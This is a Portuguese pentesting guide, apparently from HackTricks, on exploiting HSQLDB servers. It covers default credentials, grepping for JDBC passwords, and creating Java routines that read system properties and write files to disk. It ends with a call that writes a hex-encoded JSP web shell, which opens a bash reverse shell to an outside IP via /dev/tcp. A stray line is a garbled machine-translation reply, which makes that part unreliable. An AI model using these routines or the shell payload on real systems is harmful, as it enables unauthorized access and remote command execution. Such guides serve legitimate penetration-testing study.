5 KiB
Informações Básicas
HSQLDB ([HyperSQL DataBase](http://hsqldb.org/)) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco e suporta modos incorporados e de servidor.
Porta padrão: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informação
Configurações Padrão
Observe que por padrão este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.
As credenciais padrão geralmente são sa
com uma senha em branco.
Se você explorou outro serviço, procure por possíveis credenciais usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Observe cuidadosamente o nome do banco de dados - você precisará dele para se conectar.
Coleta de informações
Conecte-se à instância do banco de dados baixando o HSQLDB (https://sourceforge.net/projects/hsqldb/files/) e extraindo hsqldb/lib/hsqldb.jar
. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar
e conecte-se à instância usando as credenciais descobertas/frágeis.
Observe que a URL de conexão parecerá algo como isto para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Truques
Rotinas de Linguagem Java
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas de Linguagem Java. Observe que a classe chamada precisa estar no classpath da aplicação.
JRTs podem ser funções
ou procedimentos
. As funções podem ser chamadas por meio de declarações SQL se o método Java retornar uma ou mais variáveis primitivas compatíveis com SQL. Elas são invocadas usando a declaração VALUES
.
Se o método Java que queremos chamar retornar void, precisamos usar um procedimento invocado com a declaração CALL
.
Lendo Propriedades do Sistema Java
Crie a função:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Desculpe, não entendi o que você quer dizer com "Execute function:". Poderia me dar mais contexto ou informações?
VALUES(getsystemproperty('user.name'))
Você pode encontrar uma lista de propriedades do sistema aqui.
Escrevendo conteúdo em um arquivo
Você pode usar o gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
localizado no JDK carregado automaticamente no classpath da aplicação
para escrever itens codificados em hexadecimal no disco por meio de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.
Crie o procedimento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Executar procedimento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.